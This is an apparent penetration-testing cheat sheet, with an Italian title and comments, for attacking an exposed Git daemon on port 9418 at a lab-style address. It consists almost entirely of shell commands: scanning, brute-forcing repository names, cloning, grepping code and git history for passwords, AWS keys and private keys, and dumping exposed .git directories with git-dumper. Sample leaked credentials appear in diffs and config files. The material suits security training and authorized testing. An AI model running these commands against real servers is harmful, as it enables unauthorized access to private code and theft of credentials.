Porta 9418 Git Daemon: Pentest, Clone Repository e Secret Extraction

nmap -sV -p 9418 10.10.10.40

# Prova a listare i repository disponibili
git ls-remote git://10.10.10.40/

# Nomi comuni di repository
for repo in webapp api backend frontend infra scripts deploy config tools utils mobile ios android; do
    git ls-remote "git://10.10.10.40/$repo.git" 2>/dev/null && echo "FOUND: $repo"
    git ls-remote "git://10.10.10.40/$repo" 2>/dev/null && echo "FOUND: $repo"
done

# Con wordlist più ampia
while read repo; do
    timeout 3 git ls-remote "git://10.10.10.40/$repo.git" 2>/dev/null | head -1 && echo "FOUND: $repo"
done < /usr/share/wordlists/dirb/common.txt

# Se conosci il nome dell'azienda (es: "corp")
for repo in corp corp-webapp corp-api corp-infra corp-deploy corp-mobile; do
    git ls-remote "git://10.10.10.40/$repo.git" 2>/dev/null && echo "FOUND: $repo"
done

git ls-remote git://10.10.10.40/webapp.git

# Clone completo (tutta la history)
git clone git://10.10.10.40/webapp.git /tmp/webapp
cd /tmp/webapp

# Credenziali hardcoded
grep -riE "password|passwd|secret|token|api_key|apikey|private_key" --include="*.py" --include="*.java" --include="*.js" --include="*.php" --include="*.rb" --include="*.go" --include="*.yml" --include="*.yaml" --include="*.xml" --include="*.json" --include="*.properties" --include="*.env" --include="*.conf" .

# File sensibili
find . -name ".env" -o -name ".env.production" -o -name ".env.local" \
  -o -name "credentials.json" -o -name "service-account.json" \
  -o -name "id_rsa" -o -name "*.pem" -o -name "*.key" \
  -o -name "docker-compose.yml" -o -name "Dockerfile" \
  -o -name "wp-config.php" -o -name "settings.py" \
  -o -name "database.yml" -o -name "application.properties" 2>/dev/null

# Connection string database
grep -riE "jdbc:|mongodb://|redis://|amqp://|mysql://|postgresql://" .

# AWS credentials
grep -riE "AKIA[A-Z0-9]{16}|aws_secret_access_key|AWS_SECRET" .

# Commit che menzionano "remove" + "password/secret/credential"
git log --all --oneline | grep -iE "remov|delet|clean|fix.*cred|fix.*secret|fix.*password|fix.*key"

# Guarda cosa è stato rimosso
git show a1b2c3d

- DB_HOST=db-prod.corp.internal
- DB_USER=webapp
- DB_PASSWORD=W3bApp_DB_2025!
- DB_NAME=production
+ # Database config moved to environment variables

# Diff completo di tutta la history per credenziali aggiunte e poi rimosse
git log -p --all -S "password" -- "*.env" "*.yml" "*.properties" "*.json" "*.py" "*.java"

# truffleHog — cerca credenziali ad alta entropia nella history
trufflehog git file:///tmp/webapp

# git-secrets
git secrets --scan-history

# gitleaks
gitleaks detect --source /tmp/webapp --verbose

# Grep manuale sulla history completa
git log -p --all | grep -iE "password|secret|token|api_key|private_key|BEGIN RSA|BEGIN OPENSSH|jdbc:" | head -50

git log -p --all -- "*id_rsa*" "*id_ed25519*" "*.pem"

# Endpoint API (per scoprire funzionalità nascoste)
grep -riE "@(Get|Post|Put|Delete)Mapping|@RequestMapping|app\.(get|post|put|delete)\(" --include="*.java" --include="*.py" --include="*.js" .

# SQL query (per trovare SQL injection)
grep -riE "SELECT.*FROM|INSERT.*INTO|UPDATE.*SET|DELETE.*FROM" --include="*.java" --include="*.py" --include="*.php" .

# Comandi di sistema (per command injection)
grep -riE "Runtime\.exec|ProcessBuilder|os\.system|subprocess|exec\(|shell_exec|system\(" .

# Input non validato (per XSS, injection)
grep -riE "request\.getParameter|request\.form|req\.body|req\.query|\$_GET|\$_POST" .

# Dockerfile — rivela base image, comandi di build, variabili
cat Dockerfile

FROM python:3.11
ENV DB_PASSWORD=W3bApp_DB_2025!
RUN pip install -r requirements.txt
COPY . /app
CMD ["gunicorn", "app:create_app()"]

# docker-compose.yml
cat docker-compose.yml

services:
  db:
    image: postgres:15
    environment:
      POSTGRES_PASSWORD: DB_Pr0d_2025!
    ports:
      - "5432:5432"
  redis:
    image: redis:7
    ports:
      - "6379:6379"
  app:
    build: .
    environment:
      SECRET_KEY: django-insecure-abc123def456
      AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE
      AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

# Test
curl -s http://10.10.10.40/.git/HEAD

# Ricostruisci il repository completo
git-dumper http://10.10.10.40/.git /tmp/webapp-recovered

# Alternativa
python3 gittools.py dumper http://10.10.10.40/.git /tmp/out